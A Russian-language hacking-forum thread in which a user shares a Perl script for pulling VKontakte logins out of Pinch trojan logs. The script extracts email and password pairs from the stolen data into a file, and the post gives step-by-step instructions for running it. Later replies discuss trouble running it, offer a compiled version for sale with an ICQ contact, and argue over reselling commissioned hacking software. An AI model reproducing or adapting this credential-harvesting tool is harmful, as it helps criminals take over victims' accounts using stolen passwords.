Выдираловка акков Контакта из парсера Понча

Не знаю куда запостить.. Думаю кому-то нужно..

скрипт на пёрле - автор Xszz[AoH

Code:

#!/usr/bin/perl

use strict;

print "\n AAAAAA OOOOOO H   H\n";
print " A    A O    O H   H\n";
print " AAAAAA O    O HHHHH\n";
print " A    A O    O H   H\n";
print " A    A OOOOOO H   H\n\n";


open (IN , "<log.txt");
open (OUT , ">>parsed.txt");

my @_count = <IN>;

my $lines_count=0;
while (@_count)
{
shift (@_count);
$lines_count++;

}

close IN;
open (F , "<log.txt");
my @logs = <F>;

for (0..$lines_count)

{
my $nowstring = shift (@logs);

my $reg = $nowstring =~s/(.*)([\w+\-\.]+\@[\w\-\.]+\.\w{2,3})(.*)//ig;
my $reg2 =~s/(.*)([\w+\-\.]+\@[\w\-\.]+\.\w{2,3})(.*)//ig;

if ($reg)

{

my $email =$1.$2.$3;

if ($2)
{

my $nowstring2 = shift (@logs);
my $pass = $nowstring2=~/(.+)/;

if (length($1)<=2)
{
}
else
{

print OUT $email.":".$1."\n";
}

}
}

}
close (OUT);
system('perl -p -i.backup -e s[^\s+email=([a-z0-9_-]+@[a-z]+.[a-z]{2,3}):\s+pass=(.+)$][$1:$2]io parsed.txt');
print "[+]Parsed\n\n";

#pinch vkontakte parser , by Xszz[AoH
#thnx dem0noid

Для работы нужен актив-пёрл..

Забиваем в поиск парсера "vkontakte" - всё найденное кидаем в log.txt

Кидаем в папку со скриптом (предварительно скопировав код скрипта в txt и сохранив его как parser.pl)

Через командную строку заходим в папку со скриптом и нашим логом и выполняем скрипт.

Результаты сохранятся в этойже папке в отдельном txt.

Одну форму скрипт выводит косячно - правится в txt двумя заменами..

 

ООооооо....Не мог бы ктото сделать все файлики тексовые с пёрлом и проим в архи и выложить?!

 

denwer.ru скачай

 

Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\Documents and Settings\Admin>C:\Perl\PExpress.exe parser.pl

C:\Documents and Settings\Admin>


запускается перл выводится скрипт и всё =(

 

Еслик кому интерестно могу продать екзешник,автор не я(neprovad),но писался для меня под заказ.

 

цена? =))

 

Интересно. А может в пм!?

 

362930942 стучите в осеку,всем рады)))

 

А разрешение от автора на продажу софта естЬ?

 

+1

 

Если человек платит за написание программы, то я думаю, что он вправе ею распоряжаться так. как ему хочется.

 

Тоесть если я заказжу мега-приватного бота за 5000$ - я потом его могу на лево и на право впаривать, без согласия автора?